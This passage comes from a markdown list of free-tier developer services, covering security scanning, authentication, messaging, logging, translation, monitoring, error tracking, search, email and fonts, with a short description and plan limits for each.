* [report-uri.io](https://report-uri.io/) — CSP and HPKP violation reporting
* [ringcaptcha.com](https://ringcaptcha.com/) — Tools to use phone number as id, available for free
* [seclookup.com](https://seclookup.com/) - Seclookup APIs can enrich domain threat indicators in SIEM, provide comprehensive information on domain names, improve threat detection & response. Get 50K lookups free [here](https://account.seclookup.com/).
* [snyk.io](https://snyk.io) — Can find and fix known security vulnerabilities in your open source dependencies. Unlimited tests and remediation for open source projects. Limited to 200 tests/month for your private projects.
* [ssllabs.com](https://www.ssllabs.com/ssltest/) — Very deep analysis of the configuration of any SSL web server
* [SOOS](https://soos.io) - Free, unlimited SCA scans for open source projects. Detect and fix security threats before release. Protect your projects with a simple and effective solution.
* [StackHawk](https://www.stackhawk.com/) Automate application scanning throughout your pipeline to find and fix security bugs before they hit production. Unlimited scans and environments for a single app.
* [Sucuri SiteCheck](https://sitecheck.sucuri.net) - Free website security check and malware scanner
* [Protectumus](https://protectumus.com) - Free website security check, site antivirus and server firewall (WAF) for PHP. Email notifications for registered users in free tier.
* [TestTLS.com](https://testtls.com) - Test a SSL/TLS service for secure server configuration, certificates, chains etc. Not limited to HTTPS.
* [threatconnect.com](https://threatconnect.com) — Threat intelligence: It is designed for individual researchers, analysts and organizations who are starting to learn about cyber threat intelligence. Free up to 3 Users
* [tinfoilsecurity.com](https://www.tinfoilsecurity.com/) — Automated vulnerability scanning. Free plan allows weekly XSS scans
* [Ubiq Security](https://ubiqsecurity.com/) — Encrypt and decrypt data with 3 lines of code and automatic key management. Free for 1 application and up to 1,000,000 encryptions per month.
* [Virgil Security](https://virgilsecurity.com/) — Tools and services for implementing end-to-end encryption, database protection, IoT security and more in your digital solution. Free for applications with up to 250 users.
* [Virushee](https://virushee.com/) — Privacy-oriented file/data scanning powered by hybrid heuristic and AI-assisted engine. Possible to use internal dynamic sandbox analysis. Limited to 50MB per file upload
* [Escape GraphQL Quickscan](https://escape.tech/) - One-click security scan of your GraphQL endpoints. Free, no login required.
**[⬆️ Back to Top](#table-of-contents)**
## Authentication, Authorization and User Management
* [Aserto](https://www.aserto.com) - Fine-grained authorization as a service for applications and APIs. Free up to 1000 MAUs and 100 authorizer instances.
* [asgardeo.io](https://wso2.com/asgardeo) - Seamless Integration of SSO, MFA, passwordless auth and more. Includes SDKs for frontend and backend apps. Free up to 1000 MAUs and 5 identity providers.
* [Auth0](https://auth0.com/) — Hosted SSO. Up to 7000 active users and 2 social identity providers.
* [Authgear](https://www.authgear.com) - Bring Passwordless, OTPs, 2FA, SSO to your apps in minutes. All Front-end included. Free up to 5000 MAUs.
* [Authress](https://authress.io/) — Authentication login and access control, unlimited identity providers for any project. Facebook, Google, Twitter and more. First 1000 API calls are free.
* [Authy](https://authy.com) - Two-factor authentication (2FA) on multiple devices, with backups. Drop-in replacement for Google Authenticator. Free for up to 100 successful authentications.
* [Clerk](https://clerk.com) — User management, auth, 2FA/MFA with prebuilt UI components. Free up to 5,000 monthly active users.
* [Cloud-IAM](https://www.cloud-iam.com/) — Keycloak Identity and Access Management as a Service. Free up to 100 users and 1 realm.
* [Descope](https://www.descope.com/) — Highly customizable AuthN flows, has both a no-code and API/SDK approach, Free 7,500 active users/month, 50 tenants (up to 5 SAML/SSO tenants).
* [duo.com](https://duo.com/) — Two-factor authentication (2FA) for website or app. Free for 10 users, all authentication methods, unlimited, integrations, hardware tokens.
* [Jumpcloud](https://jumpcloud.com/) — Provides directory as a service similar to Azure AD, user management, single sign-on, and RADIUS authentication. Free for up to 10 users.
* [logintc.com](https://www.logintc.com/) — Two-factor authentication (2FA) by push notifications, free for 10 users, VPN, Websites and SSH
* [MojoAuth](https://mojoauth.com/) - MojoAuth makes it easy to implement Passwordless authentication on your web, mobile or any application in minutes.
* [Okta](https://developer.okta.com/signup/) — User management, authentication and authorization. Free for up to 100 monthly active users.
* [onelogin.com](https://www.onelogin.com/) — Identity as a Service (IDaaS), Single Sign-On Identity Provider, Cloud SSO IdP, 3 company apps and 5 personal apps, unlimited users
* [Ory](https://ory.sh/) - AuthN/AuthZ/OAuth2.0/Zero Trust managed security platform. Forever free developer accounts with all security features, unlimited team members, 200 daily active users, and 25k/mo permission checks.
* [SuperTokens](https://supertokens.com/) - Open source user authentication that natively integrates into your app - enabling you to get started quickly while controlling the user and developer experience. Free for up to 5000 MAUs.
* [Warrant](https://warrant.dev/) — Hosted enterprise-grade authorization and access control service for your apps. Free tier includes 1 million API requests per month and 1,000 authz rules.
* [ZITADEL Cloud](https://zitadel.com) — A turnkey user and access management that works for you and supports multi tenant (B2B) use cases. Free for up to 25'000 authenticated requests, with all security features (no paywall for OTP, Passwordless, Policies and so on).
* [PropelAuth](https://propelauth.com) — A Sell to companies of any size immediately with a few lines of code, free up to 200 users and 10k Transactional Emails (with a watermark branding: "Powered by PropelAuth").
* [Logto](https://logto.io/) - Develop, secure, and manage user identities of your product - for both authentication and authorization. Free for up to 5,000 MAUs with open-source self-hosted option available.
**[⬆️ Back to Top](#table-of-contents)**
## Management System
* [bitnami.com](https://bitnami.com/) — Deploy prepared apps on IaaS. Management of 1 AWS micro instance free
* [Esper](https://esper.io) — MDM and MAM for Android Devices with DevOps. 100 devices free with 1 user license and 25 MB Application Storage.
* [jamf.com](https://www.jamf.com/) — Device management for iPads, iPhones and Macs, 3 devices free
* [Miradore](https://miradore.com) — Device Management service. Stay up-to-date with your device fleet and secure an unlimited number of devices for free. Free plan offers basic features.
* [moss.sh](https://moss.sh) - Help developers deploy and manage their web apps and servers. Free up to 25 git deployments per month
* [runcloud.io](https://runcloud.io/) - Server management focusing mainly on PHP projects. Free for up to 1 server.
* [ploi.io](https://ploi.io/) - Server management tool to easily manage and deploy your servers & sites. Free for 1 server.
**[⬆️ Back to Top](#table-of-contents)**
## Messaging and Streaming
* [Ably](https://www.ably.com/) - Realtime messaging service with presence, persistence and guaranteed delivery. Free plan includes 3m messages per month, 100 peak connections and 100 peak channels.
* [cloudamqp.com](https://www.cloudamqp.com/) — RabbitMQ as a Service. Little Lemur plan: max 1 million messages/month, max 20 concurrent connections, max 100 queues, max 10,000 queued messages, multiple nodes in different AZ's
* [connectycube.com](https://connectycube.com) - Unlimited chat messages, p2p voice & video calls, files attachments and push notifications. Free for apps up to 20K MAU.
* [courier.com](https://www.courier.com/) — Single API for push, in-app, email, chat, SMS, and other messaging channels with template management and other features. Free plan includes 10,000 messages/mo.
* [HiveMQ](https://www.hivemq.com/mqtt-cloud-broker/) - Connect your MQTT devices to the Cloud Native IoT Messaging Broker. Free to connect up to 100 devices (no credit card required) forever.
* [knock.app](https://knock.app) – Notifications infrastructure for developers. Send to multiple channels like in-app, email, SMS, Slack, and push with a single API call. Free plan includes 10,000 messages/mo.
* [pusher.com](https://pusher.com/) — Realtime messaging service. Free for up to 100 simultaneous connections and 200,000 messages/day
* [scaledrone.com](https://www.scaledrone.com/) — Realtime messaging service. Free for up to 20 simultaneous connections and 100,000 events/day
* [synadia.com](https://synadia.com/ngs) — [NATS.io](https://nats.io) as a service. Global, AWS, GCP, and Azure. Free forever with 4k msg size, 50 active connections and 5GB of data per month.
* [cloudkarafka.com](https://www.cloudkarafka.com/) - Free Shared Kafka cluster, up to 5 topics, 10MB data per topic and 28 days of data retention.
* [pubnub.com](https://www.pubnub.com/) - Swift, Kotlin and React messaging at 1 million transactions each month. Transactions may contain multiple messages.
* [eyeson API](https://developers.eyeson.team/) - A video communication API service based on WebRTC (SFU, MCU) to build video platforms. Allows RealTime Data Injection, Video Layouts, Recordings, a fully featured hosted web UI (quickstart) or packages for custom UIs. Has a [free tier for developers](https://apiservice.eyeson.com/api-pricing) with 1000 meeting minutes a month.
* [Upstash Kafka](https://upstash.com/kafka) - Serverless Kafka Cloud offering with per-request-pricing. It has a free tier with max 10000 messages per day.
* [webpushr](https://www.webpushr.com/) - Web Push Notifications - Free for upto 10k subscribers, unlimited push notifications, in-browser messaging
* [Scramjet Cloud Platform Beta](https://www.scramjet.org/#join-beta) - An end-to-end stream processing platform in free beta and offering 15 petabyte-seconds of free compute after the beta ends.
**[⬆️ Back to Top](#table-of-contents)**
## Log Management
* [bugfender.com](https://bugfender.com/) — Free up to 100k log lines/day with 24 hours retention
* [humio.com](https://www.humio.com/) — Free up to 16 GB/day with 7 days retention
* [logentries.com](https://logentries.com/) — Free up to 5 GB/month with 7 days retention
* [loggly.com](https://www.loggly.com/) — Free for a single user, 200MB/day with 7 days retention
* [logz.io](https://logz.io/) — Free up to 1 GB/day, 1 days retention
* [ManageEngine Log360 Cloud](https://www.manageengine.com/cloud-log-management) — Log Management service powered by Manage Engine. Free Plan offers 50 GB storage with 1 Month retention.
* [papertrailapp.com](https://papertrailapp.com/) — 48 hours search, 7 days archive, 50 MB/month
* [sematext.com](https://sematext.com/logsene) — Free up to 500 MB/day, 7 days retention
* [sumologic.com](https://www.sumologic.com/) — Free up to 500 MB/day, 7 days retention
* [logflare.app](https://logflare.app/) — Free for upto 12,960,000 entries per app per month, 3 days retention
* [logtail.com](https://logtail.com/) — ClickHouse-based SQL-compatible log management. Free up to 1 GB per month, 3 days retention.
* [logzab.com](https://logzab.com/) — Audit trail management system. Free 1.000 user activity log per month, 1 month retention, for up-to 5 projects.
**[⬆️ Back to Top](#table-of-contents)**
## Translation Management
* [crowdin.com](https://crowdin.com/) — Unlimited projects, unlimited strings and collaborators for Open Source
* [gitlocalize.com](https://gitlocalize.com) - Free and unlimited for both private and public repositories
* [Lecto](https://lecto.ai/) - Machine Translation API with Free tier (30 free requests, 1000 translated characters per request). Integrated with Loco Translate Wordpress plugin.
* [lingohub.com](https://lingohub.com/) — Free up to 3 users, always free for Open Source
* [localazy.com](https://localazy.com) - Free for 1000 source language strings, unlimited languages, unlimited contributors, startup and open source deals
* [Localeum](https://localeum.com) - Free up to 1000 strings, 1 user, unlimited languages, unlimited projects
* [localizely.com](https://localizely.com/) — Free for Open Source
* [Loco](https://localise.biz/) — Free up to 2000 translations, Unlimited translators, 10 languages/project, 1000 translatable assets/project
* [oneskyapp.com](https://www.oneskyapp.com/) — Limited free edition for up to 5 users, free for Open Source
* [POEditor](https://poeditor.com/) — Free up to 1000 strings
* [SimpleLocalize](https://simplelocalize.io/) - Free up to 100 translation keys, unlimited strings, unlimited languages, startup deals
* [Texterify](https://texterify.com/) - Free for a single user
* [Tolgee](https://tolgee.io) - Free SaaS offering with limited translations, forever-free self hosted version
* [transifex.com](https://www.transifex.com/) — Free for Open Source
* [Translation.io](https://translation.io) - Free for Open Source
* [Translized](https://translized.com) - Free up to 1000 strings, 1 user, unlimited languages, unlimited projects
* [webtranslateit.com](https://webtranslateit.com/) — Free up to 500 strings
* [weblate.org](https://weblate.org/) — It's free for libre projects up to 10,000 string source for the free tier, and Unlimited Self-hosted on-premises.
* [Free PO editor](https://pofile.net/free-po-editor) — Free for everybody
**[⬆️ Back to Top](#table-of-contents)**
## Monitoring
* [Pingmeter.com](https://pingmeter.com/) - 5 uptime monitors with 10 minutes interval. Monitor SSH, HTTP, HTTPS, and any custom TCP ports.
* [appdynamics.com](https://www.appdynamics.com/) — Free for 24 hours metrics, application performance management agents limited to one Java, one .NET, one PHP and one Node.js
* [appneta.com](https://www.appneta.com/) — Free with 1-hour data retention
* [appspector.com](https://appspector.com/) - Mission control, for remote iOS/Android/Flutter debugging. Free for small traffic usage (64MB of logs).
* [assertible.com](https://assertible.com) — Automated API testing and monitoring. Free plans for teams and individuals.
* [checklyhq.com](https://checklyhq.com) - Open source E2E / Synthetic monitoring and deep API monitoring for developers. Free plan with 5 users and 50k+ check runs.
* [circonus.com](https://www.circonus.com/) — Free for 20 metrics
* [cloudsploit.com](https://cloudsploit.com) — AWS security and configuration monitoring. Free: unlimited on-demand scans, unlimited users, unlimited stored accounts. Subscription: automated scanning, API access, etc.
* [cronitor.io](https://cronitor.io/) - Performance insights and uptime monitoring for cron jobs, websites, APIs and more. Free tier with 5 monitors.
* [datadoghq.com](https://www.datadoghq.com/) — Free for up to 5 nodes
* [deadmanssnitch.com](https://deadmanssnitch.com/) — Monitoring for cron jobs. 1 free snitch (monitor), more if you refer others to sign up
* [downtimemonkey.com](https://downtimemonkey.com/) — 60 uptime monitors, 5 minute interval. Email, Slack alerts.
* [economize.cloud](https://economize.cloud) — Economize helps demystify cloud infrastructure costs by organizing cloud resources, optimize and report the same. Free for up to $5000 spends on Google Cloud Platform every month.
* [elastic.co](https://www.elastic.co/solutions/apm) — Instant performance insights for JS developers. Free with 24 hours data retention
* [freeboard.io](https://freeboard.io/) — Free for public projects. Dashboards for your Internet of Things (IoT) projects
* [Grafana Cloud](https://grafana.com/products/cloud/) - Grafana Cloud is a composable observability platform, integrating metrics and logs with Grafana. Free: 3 users, 10 dashboards, 100 alerts, metrics storage in Prometheus and Graphite (10,000 series, 14 days retention), logs storage in Loki (50 GB of logs, 14 days retention)
* [healthchecks.io](https://healthchecks.io) — Monitor your cron jobs and background tasks. Free for up to 20 checks.
* [inspector.dev](https://www.inspector.dev) - A complete Real-Time monitoring dashboard in less than one minute with free forever tier.
* [instrumentalapp.com](https://instrumentalapp.com) - Beautiful and easy-to-use application and server monitoring with up to 500 metrics and 3 hours of data visibility for free
* [keychest.net/speedtest](https://keychest.net/speedtest) - Independent speed test and TLS handshake latency test against Digital Ocean
* [letsmonitor.org](https://letsmonitor.org) - SSL monitoring, free for up to 5 monitors
* [loader.io](https://loader.io/) — Free load testing tools with limitations
* [meercode.io](https://meercode.io/) — Meercode is the ultimate monitoring dashboard for your CI/CD builds. Free for open-source and 1 private repository.
* [netdata.cloud](https://www.netdata.cloud/) — Netdata is an open source tool designed to collect real-time metrics.Great fast growing product. It can also be found in github!
* [newrelic.com](https://www.newrelic.com) — New Relic observability platform built to help engineers create more perfect software. From monoliths to serverless, you can instrument everything, then analyze, troubleshoot, and optimize your entire software stack. Free tier offers 100GB/month of free data ingest, 1 free full access user, and unlimited free basic users.
* [Middleware.io](https://middleware.io/) - Middleware observability platform provides complete visibility into your apps & stack, so you can monitor & diagnose issues at scale. They have a free forever plan for Dev community use that allows Log monitoring for upto 1M log events, Infrastructure monitoring & APM for upto 2 hosts.
* [nixstats.com](https://nixstats.com) - Free for one server. E-Mail Notifications, public status page, 60 second interval and more.
* [OnlineOrNot.com](https://onlineornot.com/) - OnlineOrNot is a reliable uptime monitor for both JS-based web apps and websites. 5 uptime checks (for static websites and APIs) with a 5 minute interval, 1 browser check with a 15 minute interval. Also provides automated public status pages (with support coming for 3rd party uptime monitoring). Free for up to 3 users, alerts via Slack, Discord, and Email.
* [opsgenie.com](https://www.opsgenie.com/) — Powerful alerting and on-call management for operating always-on services. Free up to 5 users.
* [paessler.com](https://www.paessler.com/) — Powerful infrastructure and network monitoring solution including alerting, strong visualization capabilities and basic reporting. Free up to 100 sensors.
* [syagent.com](https://syagent.com/) — Non commercial free server monitoring service, alerts and metrics.
* [pagerly.io](https://pagerly.io/) - Manage oncalls on Slack (integrates with Pagerduty, OpsGenie) .Free upto 1 team (one team refers to one oncall)
* [pagertree.com](https://pagertree.com/) - Simple interface for alerting and on-call management. Free up to 5 users.
* [pingbreak.com](https://pingbreak.com/) — Modern uptime monitoring service. Check unlimited URLs and get downtime notifications via Discord, Slack or email.
* [pingpong.one](https://pingpong.one/) — Advanced status page platform with monitoring. Free tier includes one public customizable status page with SSL subdomain. Pro plan is offered to open-source projects and non-profits free of charge.
* [robusta.dev](https://home.robusta.dev/) — Powerful Kubernetes monitoring, based on Prometheus. Bring your own Prometheus or install the all-in-one bundle. Free tier includes up to 20 Kubernetes nodes. Alerts via Slack, Microsoft Teams, Discord, and more. Integrations with PagerDuty, OpsGenie, VictorOps, DataDog, and many other tools.
* [sematext.com](https://sematext.com/) — Free for 24 hours metrics, unlimited number of servers, 10 custom metrics, 500,000 custom metrics data points, unlimited dashboards, users, etc.
* [sitemonki.com](https://sitemonki.com/) — Website, domain, Cron & SSL monitoring, 5 monitors in each category for free
* [sitesure.net](https://sitesure.net) - Website and cron monitoring - 2 monitors free
* [skylight.io](https://www.skylight.io/) — Free for first 100,000 requests (Rails only)
* [speedchecker.xyz](https://probeapi.speedchecker.xyz/) — Performance Monitoring API, checks Ping, DNS, etc.
* [stathat.com](https://www.stathat.com/) — Get started with 10 stats for free, no expiration
* [statuscake.com](https://www.statuscake.com/) — Website monitoring, unlimited tests free with limitations
* [statusgator.com](https://statusgator.com/) — Status page monitoring, 3 monitors free
* [thousandeyes.com](https://www.thousandeyes.com/) — Network and user experience monitoring. 3 locations and 20 data feeds of major web services free
* [uptimerobot.com](https://uptimerobot.com/) — Website monitoring, 50 monitors free
* [uptimetoolbox.com](https://uptimetoolbox.com/) — Free monitoring for 5 websites, 60 second intervals, public statuspage.
* [zenduty.com](https://www.zenduty.com/) — End-to-end incident management, alerting, on-call management and response orchestration platform for network operations, site reliability engineering and DevOps teams. Free for upto 5 users.
* [instatus.com](https://instatus.com) - Get a beautiful status page in 10 seconds. Free forever with unlimited subs and unlimited teams.
* [Squadcast.com](https://squadcast.com) - Squadcast is an end-to-end incident management software that's designed to help you promote SRE best practices. Free forever plan available for upto 10 users.
* [RoboMiri.com](https://robomiri.com/) - RoboMiri is a stable uptime monitor that offer a wide range of monitors: cronjob, keyword, website, port, ping. 25 uptime checks with a 3 minutes interval checks for free. Alerts via Phone Call, SMS, Email and Web Hook.
* [Better Stack](https://betterstack.com/better-uptime) - Uptime monitoring, incident management, on-call scheduling/alerting and status pages in a single product. 10 monitors with 3 min check frequency and status pages are included on the free plan.
* [Pulsetic](https://pulsetic.com) - 10 monitors, 6 Months Historical Uptime/Logs, unlimited status pages and custom domains included! For unlimited time and unlimited email alerts for free. No credit card required.
**[⬆️ Back to Top](#table-of-contents)**
## Crash and Exception Handling
* [CatchJS.com](https://catchjs.com/) - JavaScript error tracking with screenshots and click trails. Free for open source projects.
* [bugsnag.com](https://www.bugsnag.com/) — Free for up to 2,000 errors/month after the initial trial
* [elmah.io](https://elmah.io/) — Error logging and uptime monitoring for web developers. Free Small Business subscription for open source projects.
* [exceptionless](https://exceptionless.com) — Real-time error, feature, log reporting and more. Free for 3k events per month/1 user. Open source and easy to self-host for unlimited use.
* [GlitchTip](https://glitchtip.com/) — Simple, open source error tracking. Compatible with open-source Sentry SDKs. 1000 events per month for free, or can self-host with no limits
* [honeybadger.io](https://www.honeybadger.io) - Exception, uptime, and cron monitoring. Free for small teams and open-source projects (12,000 errors/month).
* [memfault.com](https://memfault.com) — Cloud platform for device observability and debugging. 100 devices free for [Nordic](https://app.memfault.com/register-nordic), [NXP](https://app.memfault.com/register-nxp), and [Laird](https://app.memfault.com/register-laird) devices.
* [rollbar.com](https://rollbar.com/) — Exception and error monitoring, free plan with 5,000 errors/month, unlimited users, 30 days retention
* [sentry.io](https://sentry.io/) — Sentry tracks app exceptions in real-time, has a small free plan. Free for 5k errors per month/ 1 user, unrestricted use if self-hosted
* [Axiom](https://axiom.co/) — Store up to 0.5 TB of logs with 30 day retention. Includes integrations with platforms like Vercel and advanced data querying with email/Discord notifiers.
* [Semaphr](https://semaphr.com) — Free all-in-one kill switch for your mobile apps.
**[⬆️ Back to Top](#table-of-contents)**
## Search
* [algolia.com](https://www.algolia.com/) — Hosted search-as-you-type (instant). Free hacker plan up to 10,000 documents and 100,000 operations. Bigger free plans available for community/Open Source projects
* [bonsai.io](https://bonsai.io/) — Free 1 GB memory and 1 GB storage
* [CommandBar](https://www.commandbar.com/) - Unified Search Bar as-a-service, web based UI widget/plugin that allows your users to search contents, navigations, features, etc. within your product, which helps discoverability. Free for up-to 1000 Monthly Active Users, unlimited commands.
* [Magny](https://magny.io) - SaaS service that helps implement command palettes (e.g in-app search), which significantly decreases the time users find anything in an app, leveraging the user experience and efficiency.
* [searchly.com](http://www.searchly.com/) — Free 2 indices and 20 MB storage
* [pagedart.com](https://pagedart.com/) - AI search as a service the free tier includes 1000 Documents, 50000 searches. Larger free tiers are possible for worthwhile projects.
* [Meilisearch](https://www.meilisearch.com/) - An open-source, lightning-fast, and hyper-relevant search engine that fits effortlessly into your apps, websites, and workflow. Free plan includes 100K documents and 10K searches/month.
**[⬆️ Back to Top](#table-of-contents)**
## Email
* [10minutemail](https://10minutemail.com) - Free, temporary email for testing.
* [AnonAddy](https://anonaddy.com) - Open-source anonymous email forwarding, create unlimited email aliases for free
* [Antideo](https://www.antideo.com) — 10 API requests per hour for email verification, IP and phone number validation in free tier. No Credit Cards required.
* [Bump](https://bump.email/) - Free 10 Bump email addresses, 1 custom domain
* [Burnermail](https://burnermail.io/) – Free 5 Burner Email Addresses, 1 Mailbox, 7 day Mailbox History
* [Buttondown](https://buttondown.email/) — Newsletter service. Up to 100 subscribers free
* [CloudMailin](https://www.cloudmailin.com/) - Incoming email via HTTP POST and transactional outbound - 10,000 free emails/month
* [cloudmersive.com](https://www.cloudmersive.com/email-verification-api) — Email validation and verification API for developers, 800 free API requests/month
* [Contact.do](https://contact.do/) — Contact form in a link (bitly for contact forms) - totally free!
* [debugmail.io](https://debugmail.io/) — Easy to use testing mail server for developers
* [DNSExit](https://dnsexit.com/) - Up to 2 Email addresses under your domain for free with 100MB of storage space. IMAP, POP3, SMTP, SPF/DKIM support.
* [emaildrop.io](https://emaildrop.io/) — Free disposable email provider. Email addresses can be created via GraphQL API.
* [EmailLabs.io](https://emaillabs.io/en) — Send up to 9,000 Emails for free every month, up to 300 emails per day.
* [EmailOctopus](https://emailoctopus.com) - Up to 2,500 subscribers and 10,000 emails per month free
* [EmailJS](https://www.emailjs.com/) – This is not a full email server, this is just email client which you can use to send emails right from client send without exposing your credentials, the free tier has: 200 monthly requests, 2 email templates, Requests up to 50Kb, Limited contacts history.
* [Tempmailers](https://tempmailers.com/) - Generate unlimited temporary email addresses for free
* [Emailvalidation.io](https://emailvalidation.io) - 100 free email verifications per month
* [fakermail.com](https://fakermail.com/) — Free, temporary email for testing with last 100 email accounts stored.
* [forwardemail.net](https://forwardemail.net) — Free email forwarding for custom domains. Create and forward an unlimited amount of email addresses with your domain name (**note**: You must pay if you use .casa, .cf, .click, .email, .fit, .ga, .gdn, .gq, .loan, .london, .men, .ml, .pl, .rest, .ru, .tk, .top, .work TLDs due to spam)
* [HotTempMail](https://hottempmail.com/) - Unlimited free temp email or disposable temporary email addresses. Autoexpires in one day.
* [Imitate Email](https://imitate.email) - Sandbox Email Server for testing email functionality across build/qa and ci/cd. Free accounts get 15 emails a day forever.
* [ImprovMX](https://improvmx.com) – Free email forwarding
* [EForw](https://www.eforw.com) – Free email forwarding for 1 domain. Receive and send emails from your domain.
* [inboxkitten.com](https://inboxkitten.com/) - Free temporary/disposable email inbox, with up-to 3 day email auto-deletes. Open sourced, and can be self-hosted.
* [mail-tester.com](https://www.mail-tester.com) — Test if email's dns/spf/dkim/dmarc settings are correct, 20 free/month
* [dkimvalidator.com](https://dkimvalidator.com/) - Test if email's dns/spf/dkim/dmarc settings are correct, free service by roundsphere.com
* [mailcatcher.me](https://mailcatcher.me/) — Catches mail and serves it through a web interface
* [Mailcheck.ai](https://www.mailcheck.ai/) - Prevent users to sign up with temporary email addresses, 120 requests/hour (~86,400 per month)
* [Mailchimp](https://mailchimp.com/) — 500 subscribers and 1,000 emails/month free
* [MailerLite.com](https://www.mailerlite.com) — 1,000 subscribers/month, 12,000 emails/month free
* [MailerSend.com](https://www.mailersend.com) — Email API, SMTP, 12,000 emails/month free for transactional emails
* [mailinator.com](https://www.mailinator.com/) — Free, public, email system where you can use any inbox you want
* [Mailjet](https://www.mailjet.com/) — 6,000 emails/month free (200 emails daily sending limit)
* [Mailnesia](https://mailnesia.com) - Free temporary/disposable email, which auto visit registration link.
* [mailsac.com](https://mailsac.com) - Free API for temporary email testing, free public email hosting, outbound capture, email-to-slack/websocket/webhook (1,500 monthly API limit)
* [Mailtie.com](https://mailtie.com/) - Free Email Forwarding for Your Domain. No registration required. Free Forever.
* [Mailtrap.io](https://mailtrap.io/) — Fake SMTP server for development, free plan with 1 inbox, 100 messages, no team member, 2 emails/second, no forward rules
* [Mailvalidator.io](https://mailvalidator.io/) - Verify 300 emails/month for free, real-time API with bulk processing available
* [Mail7.io](https://www.mail7.io/) — Free Temp Email Addresses for QA Developers. Create email addresses instantly using Web Interface or API
* [Mutant Mail](https://www.mutantmail.com/) – Free 10 Email IDs, 1 Domain, 1 Mailbox. Single Mailbox for All Email IDs.
* [Outlook.com](https://outlook.live.com/owa/) - Free personal email and calendar
* [Parsio.io](https://parsio.io) — Free email parser (Forward email, extract the data, send it to your server)
* [pepipost.com](https://pepipost.com) — 30k emails free for first month, then first 100 emails/day free
* [Postmark](https://postmarkapp.com/) - 100 emails/month free, unlimited DMARC weekly digests
* [Proton Mail](https://proton.me/mail) - Free secure email account service provider with built-in end-to-end encryption. Free 1GB storage.
* [Queuemail.dev](https://queuemail.dev) — Reliable email delivery API. Free tier (10,000 emails/per month). Send asynchronously. Use several SMTP servers. Blacklists, Loging, Tracking, Webhooks, and more...
* [QuickEmailVerification](https://quickemailverification.com) — Verify 100 emails daily for free on a free tier along with other free APIs like DEA Detector, DNS Lookup, SPF Detector and more.
* [Sender](https://www.sender.net) Up to 15 000 emails/month, up to 2,500 subscribers
* [SendGrid](https://sendgrid.com/) — 100 emails/day and 2,000 contacts free
* [Sendinblue](https://www.sendinblue.com/) — 9,000 emails/month, 300 emails/day free
* [Sendpulse](https://sendpulse.com) — 500 subscribers/month, 12,000 emails/month free
* [SimpleLogin](https://simplelogin.io/) – Open source, self-hostable email alias/forwarding solution. Free 5 Aliases, unlimited bandwith, unlimited reply/send. Free for educational staffs (student, researcher, etc).
* [Skiff](https://skiff.com/)- Open source, end-to-end encrypted anonymous email service, no additional details asked at signup, free 10GB drive storage, 1 custom domain for your own website, free 4 aliases for your email address per account. Additional Crypto Wallet support for E2EE environment.
* [Substack](https://substack.com) — Unlimited free newsletter service. Start paying when you charge for it.
* [Tempmailo](https://tempmailo.com/) - Unlimited free temp email addresses. Autoexpire in two days.
* [Takeout](https://takeout.bysourfruit.com) - A constantly updated email service that makes sending emails extremely easy. 500 transactional emails/month free.
* [temp-mail.io](https://temp-mail.io) — Free disposable temporary email service with multiple emails at once and forwarding
* [tinyletter.com](https://tinyletter.com/) — 5,000 subscribers/month free
* [trashmail.com](https://www.trashmail.com) - Free disposable email addresses with forwarding and automatic address expiration
* [Tutanota](https://tutanota.com/) - Free secure email account service provider with built-in end-to-end encryption, no ads, no tracking. Free 1GB storage. Which also partially [open source](https://github.com/tutao/tutanota), so you can opt to self-host.
* [Validator.Pizza](https://www.validator.pizza/) — Free API to detect disposable emails
* [Verifalia](https://verifalia.com/email-verification-api) — Real-time email verification API with mailbox confirmation and disposable email address detector; 25 free email verifications/day.
* [verimail.io](https://verimail.io/) — Bulk and API email verification service. 100 free verifications/month
* [Zoho](https://www.zoho.com) — Started as an e-mail provider but now provides a suite of services out of which some of them have free plans. List of services having free plans :
- [Email](https://zoho.com/mail) Free for 5 users. 5GB/user & 25 MB attachment limit, 1 domain.
- [Sprints](https://zoho.com/sprints) Free for 5 users,5 Projects & 500MB storage.
- [Docs](https://zoho.com/docs) — Free for 5 users with 1 GB upload limit & 5GB storage. Zoho Office Suite (Writer,Sheets & Show) comes bundled with it.
- [Projects](https://zoho.com/projects) — Free for 3 users, 2 projects & 10 MB attachment limit. Same plan applies to [Bugtracker](https://zoho.com/bugtracker).
- [Connect](https://zoho.com/connect) — Team Collaboration free for 25 users with 3 groups, 3 custom apps, 3 Boards, 3 Manuals, 10 Integrations along with channels,events & forums.
- [Meeting](https://zoho.com/meeting) — Meetings with upto 3 meeting participants & 10 Webinar attendees.
- [Vault](https://zoho.com/vault) — Password Management free for Individuals.
- [Showtime](https://zoho.com/showtime) — Yet another Meeting software for training for a remote session upto 5 attendees.
- [Notebook](https://zoho.com/notebook) — A free alternative to Evernote.
- [Wiki](https://zoho.com/wiki) — Free for 3 users with 50 MB storage, unlimited pages, zip backups, RSS & Atom feed, access controls & customisable CSS.
- [Subscriptions](https://zoho.com/subscriptions) — Recurring Billing management free for 20 customers/subscriptions & 1 user with all the payment hosting done by Zoho themselves. Last 40 subscription metrics are stored
- [Checkout](https://zoho.com/checkout) — Product Billing management with 3 pages & up to 50 payments.
- [Desk](https://zoho.com/desk) — Customer Support management with 3 agents and private knowledge base, email tickets. Integrates with [Assist](https://zoho.com/assist) for 1 remote technician & 5 unattended computers.
- [Cliq](https://zoho.com/cliq) — Team chat software with 100 GB storage, unlimited users, 100 users per channel & SSO.
- [Campaigns](https://zoho.com/campaigns)
- [Forms](https://zoho.com/forms)
- [Sign](https://zoho.com/sign)
- [Surveys](https://zoho.com/surveys)
- [Bookings](https://zoho.com/bookings)
- [Analytics](https://zoho.com/analytics)
* [Resend](https://resend.com) - Transactional emails API for developers. 3,000 emails/month, 100 emails/day free, 1 custom domain.
**[⬆️ Back to Top](#table-of-contents)**
## Font
* [dafont](https://www.dafont.com/) - The fonts presented on this website are their authors' property, and are either freeware, shareware, demo versions or public domain.
* [Everything Fonts](https://everythingfonts.com/) - Offers multiple tools; @font-face, Units Converter, Font Hinter and Font Submitter.
* [Font Squirrel](https://www.fontsquirrel.com/) - Freeware fonts that is licensed for commercial work. Hand-selected these typefaces and presenting them in an easy-to-use format.
* [Google Fonts](https://fonts.google.com/) - Lots of free fonts that are easy and quick to install in a website via a download or a link to Google's CDN.
* [FontGet](https://www.fontget.com/) - Has a variety of fonts available to download and sorted neatly with tags.
* [Fontshare](https://www.fontshare.com/) - is a free fonts service. It’s a growing collection of professional grade fonts that are 100% free for personal and commercial use.
* [Befonts](https://befonts.com/) - Provides several unique fonts for personal or commercial use.
* [Font of web](https://fontofweb.com/) - Identify all the fonts used on a website and how they are used.
* [Bunny](https://bunny.net)
